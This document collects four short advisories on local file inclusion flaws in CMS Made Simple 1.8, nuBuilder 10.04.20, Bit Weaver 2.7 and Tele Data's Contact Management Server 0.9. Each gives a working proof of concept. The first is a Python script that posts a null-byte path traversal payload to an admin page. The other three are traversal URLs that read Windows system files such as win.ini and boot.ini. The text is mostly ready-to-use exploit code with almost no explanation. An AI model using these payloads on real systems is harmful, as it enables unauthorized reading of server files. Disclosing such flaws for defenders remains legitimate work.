CMS Made Simple 1.8 Local File Inclusion

A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.

PoC

import httplib, urllib

host = 'localhost'
path = '/cmsms'

lfi = '../' * 32 + 'windows/win.ini\x00'

c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
          urllib.urlencode({ 'default_cms_lang': lfi }),
          { 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()

print r.status, r.reason
print r.read()

nuBuilder 10.04.20 Local File Inclusion

A local file inclusion vulnerability in nuBuilder 10.04.20 can be exploited to include arbitrary files.

PoC
http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini

Bit Weaver 2.7 Local File Inclusion

A local file inclusion vulnerability in Bit Weaver 2.7 can be exploited to include arbitrary files.

PoC
http://localhost/bitweaver/wiki/rankings.php?style=../../../../../../../../windows/system.ini

Tele Data's Contact Management Server 0.9 Local File Inclusion

A local file inclusion vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to read files from the server file system.

PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Load&FileName=..\..\..\..\..\..\..\..\..\boot.ini